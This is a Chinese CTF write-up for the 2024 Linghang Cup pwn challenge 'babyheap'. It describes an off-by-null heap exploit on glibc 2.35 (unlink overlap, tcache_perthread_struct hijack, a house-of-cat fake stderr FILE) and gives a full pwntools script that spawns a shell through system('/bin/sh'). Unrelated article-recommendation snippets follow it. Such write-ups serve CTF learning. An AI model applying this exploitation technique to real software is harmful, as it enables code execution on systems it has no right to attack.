[2024领航杯] Pwn方向题解 babyheap

前言:

当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了调试半天,最后让我们一起看一下这个题目。

保护策略:

逆向分析:

功能很齐全啊,该有的都有

add函数最多存在11个堆块,没有大小限制

输入content的时候存在一个off_by_null漏洞

delete就是没有UAF漏洞,show函数是puts打印存在00截断。

edit函数只能用一次

关于泄露地址:

当然存在00截断我们无法直接泄露地址,那么就需要实现unlink来进行堆块重叠,来抵消off_by_null的00截断。

关于2.29之后off_by_null的说明:

当然在之前呢大家也可以看见,我们只需要伪造一个prev size位配合off_by_null即可完成unlink的一系列攻击而且当时只free第一个堆块的话fd和bk指针也不需要伪造了。但是在glibc2.29之后加入了检查,具体是怎么样的呢,它会检查你要释放堆块的prev size和前面堆块的size位大小是不是一样的,不一样的话就会报错,当然想要绕过这个检查就需要修改size位,其实思路的话我们可以申请7个堆块,释放0,3,6堆块,至于为什么这样,因为我们需要修改size位,因为chunk3在中间所以我们比较好修改它的size位,我们释放chunk2,那么chunk2,3合并成了一个大的chunk,然后去申请堆块修改chunk3的size位即可,建议直接修改到top_chunk那里,因为后续要实现unlink的话还是要add堆块的。

那么这里需要有一点点的堆风水,怎么说呢,因为存在off_by_null我们输入数据的时候会留下一个00,我们让chunk3的chunk地址存在到00的位置,那么在进行伪造fd和bk指针的时候就可以通过截断来指向chunk3,怎么做呢,因为chunk2,3合并了,修改chunk3之后留下了一个chunk,这个chunk只有最后一位和chunk3不一样,我们可以通过利用这个堆块和chunk0,6来达到伪造fd和bk的目的,当然chunk0的bk指针比较好伪造,chunk6的fd指针我们输入什么都会修改两位因此我们需要chunk5和chunk6合并来修改chunk6的fd指针使其指向chunk3,最后正常off_by_null即可。

后续的攻击:

当然限制堆地址和libc地址都有了还需要进行劫持相关的操作,因为2.34之后没有相关的_malloc_hook等这些钩子了,所以一开始我的想法是house of kiwi,但是发现这个版本的 _IO_helper_jumps没有可写的权限。

那么只好使用house of apple2 的相关连,house of cat(具体操作我前两篇博客里面有详细内容),但是我这里是直接修改了 stderr结构体,没有直接进行伪造但是我发现一个弊端,这样的话有点极限因为,我们无法修改太多空间如果越界修改了stdout的话会导致程序卡住,所以我在这里卡半天,一直在调试,期间我也发现了,不同版本之间一些利用链的判断条件有所不同需要进行微调。

伪造指针的情况

当然我是用的劫持tcache_ptheread_struct结构体来修改top_chunk和stderr的,因为我感觉largebin attack有点难操作,所以干脆之间修改stderr结构体了。

我是利用_malloc_assert来触发IO的,因为程序正常通过main函数返回所以也可以不用修改top_chunk,但是结构体要微调一些不然就这样了

EXP:

from gt import *

con("amd64")

io = process("./babyheap")
libc = ELF("./libc.so.6")

def add(size,msg):
   io.sendlineafter("> ","1")
   io.sendlineafter("size:",str(size))
   io.sendlineafter("content:",msg)


def free(index):
   io.sendlineafter("> ","2")
   io.sendlineafter("index:",str(index))


def show(index):
   io.sendlineafter("> ","3")
   io.sendlineafter("index:",str(index))


def edit(index,msg):
   io.sendlineafter("> ","4")
   io.sendlineafter("index:",str(index))
   io.sendafter("new content:",msg)


def exit():
   io.sendlineafter("> ","5")


add(0x418,'a') #0
add(0x1f8,'a') #1
add(0x448,'a') #2
add(0x438,'a') #3
add(0x208,'a') #4
add(0x418,'a') #5
add(0x428,'a') #6
add(0x208,'a') #7

free(0)
free(3)
free(6)
#gdb.attach(io)
free(2)
#free(5)

#gdb.attach(io)

payload = b'a'*0x448 + b'\xb0\x10'
add(0x468,payload)
#gdb.attach(io)
add(0x418,'a')
add(0x428,'a')
add(0x418,'a')
#gdb.attach(io)


free(6)
free(2)
add(0x418,'a'*8)

free(3)
free(5)
#gdb.attach(io)
payload = b'a'*0x418 + p64(0x431)
add(0x500,payload)
add(0x9f8,'a')
add(0x408,'a')
add(0x408,'a')
payload = b'a'*0x200 + p64(0x10b0)
edit(7,payload)
free(5)
add(0x430,'a')

show(4)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x21ace0
suc("libc_base",libc_base)
IO_hleper_jumps = libc_base + 0x216a00
suc("IO_hleper_jumps",IO_hleper_jumps)
IO_file_jumps = libc_base + 0x217600
stderr = libc_base + 0x21b6a0
show(2)
io.recvuntil('a'*8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1770
suc("heap_base",heap_base)
top_chunk = heap_base + 0x1140
add(0x200,'a')
free(9)
free(7)
key = (heap_base + 0x1000) >>  0xc
payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key)
add(0xa70,payload)

add(0x200,'a')

add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25)
free(7)
free(8)
system = libc_base + libc.sym["system"]
fake_io_addr = stderr

fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0)  + p64(0)*3
fake_IO_FILE +=p64(1)+p64(0) #rcx
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0x00000000fbad2800) +  p64(libc_base + 0x21b803)*5
#fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0

#add(0x500,'b'*8)

add(0x290,fake_IO_FILE)
add(0xc0,p64(0)+p64(0x300))

io.sendlineafter("> ","1")
#gdb.attach(io)
io.sendlineafter("size:",str(0x500))

#gdb.attach(io)
io.interactive()

最终效果

[2024领航杯] Pwn方向题解 babyheap的更多相关文章

  1. 蓝桥杯练习 Day6 题解

    蓝桥杯练习 Day6 题解 A 题意:给你一个等式ax+by = c,问你x,y是否有整数解. 思路:gcd(a,b) = t,如果方程有解,那么\((a/t)*x + (b/t)*y = c/t\) ...

  2. 网鼎杯 pwn 记录

    题目位置 https://gitee.com/hac425/blog_data/tree/master/wdb babyheap 通过分配和释放构建 2 个 fastbin 链 利用 show 功能, ...

  3. 2019年领航杯 江苏省网络信息安全竞赛 初赛部分writeup

    赛题已上传,下载连接:https://github.com/raddyfiy/2019linghangcup 做出了全部的misc和前三道逆向题,排名第10,暂且贴一下writeup. 关卡一 编码解 ...

  4. 2019全国大学生数学建模竞赛(高教社杯)A题题解

    文件下载:https://www.lanzous.com/i6x5iif 问题一 整体过程: 0x01. 首先,需要确定燃油进入和喷出的间歇性工作过程的时间关系.考虑使用决策变量对一段时间内燃油进入和 ...

  5. ctfshow 1024杯 部分web题解

    ------------恢复内容开始------------ 今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看.特别是小破站的比赛拉跨的一批,bytectf的web ...

  6. NCTF2019 小部分题解

    前言 礼拜五领航杯打的比较累,做不出WEB,D3CTF没用,做了NJCTF的一些题目(懒,睡觉到12点起) Misc 第一次比赛先去做misc,以前一直做WEB,以后要WEB+MISC做.礼拜六下午做 ...

  7. CTF:从0到1 -> zero2one

    本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...

  8. UVALive 3959 Rectangular Polygons (排序贪心)

    Rectangular Polygons 题目链接: http://acm.hust.edu.cn/vjudge/contest/129733#problem/G Description In thi ...

  9. TZOJ 2588 Bad Grass(DFS)

    描述 Bessie was munching on tender shoots of grass and, as cows do, contemplating the state of the uni ...

  10. hdu1312Red and Black(迷宫dfs,一遍)

    Red and Black Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Tot ...

随机推荐

  1. 【DataBase】MySQL 08 SQL函数 单行函数其二 数值函数

    数值函数 # 数值函数 -- ROUND() 四舍五入 SELECT ROUND(3.14),ROUND(-3.14); -- 重载,保留指定参数的小数位数 SELECT ROUND(-3.14,3) ...

  2. 网友开放的开源项目:网页版的A*算法可视化演示程序

    相关项目: https://xueqiaoxu.me/#projects 项目介绍: A JavaScript path-finding library for grid based games. I ...

  3. Ubuntu18.04 server 双网卡,一个设置为静态IP, 一个设置为动态IP

    操作目的如题: 修改网络配置文件: sudo vim /etc/netplan/50-cloud-init.yaml 修改内容如下: # This file is generated from inf ...

  4. mendeley存储是有限的吗

    用了mendeley好多年,总是有一个疑问,那就是这东西的云存储空间是不是有限的,如果是有限的话那么上限是多少?这东西不论是app还是桌面端都没有这个空间信息的大小,但是这东西必然是有上限的,那么这个 ...

  5. WhaleScheduler为银行业全信创环境打造统一调度管理平台解决方案

    项目背景 数字金融是数字经济的重要支撑和驱动力.近年来,我国针对数字金融的发展政策频频出台,<金融科技发展规划 (2022-2025年)>.<"十四五"数字经济发 ...

  6. Dijkstra单源最短路模板

    struct DIJ { using i64 = long long; using PII = pair<i64, i64>; vector<i64> dis; vector& ...

  7. 2023 CCPC 哈尔滨游记

    board zsy 11.3 下了高代课跟教练聊了会,以为差点赶不上飞机了,结果还好.飞机上一直在看<笑傲江湖> 晚上本来想写作业的,还是摆了 拉 zsy 打雀魂,三人麻将到第二天了 11 ...

  8. Linux-centos中修改默认root帐户的登录用户名

    vi /etc/passwd 按i键进入编辑状态 修改第1行第1个root为新的用户名 按esc键退出编辑状态,并输入:x保存并退出 vi /etc/shadow 按i键进入编辑状态 修改第1行第1个 ...

  9. 基于docker搭建单机测试ELK

    说明:本次使用的windows系统,利用vm进行安装虚拟机,安装的只是单测试单机版elk. 一.下载vm 自行官网下载 二.安装centos7系统 自己有现成的镜像跳过,没有自行查找资料完成 三.进行 ...

  10. POA:已开源,蚂蚁集团提出同时预训练多种尺寸网络的自监督范式 | ECCV 2024

    论文提出一种新颖的POA自监督学习范式,通过弹性分支设计允许同时对多种尺寸的模型进行预训练.POA可以直接从预训练teacher生成不同尺寸的模型,并且这些模型可以直接用于下游任务而无需额外的预训练. ...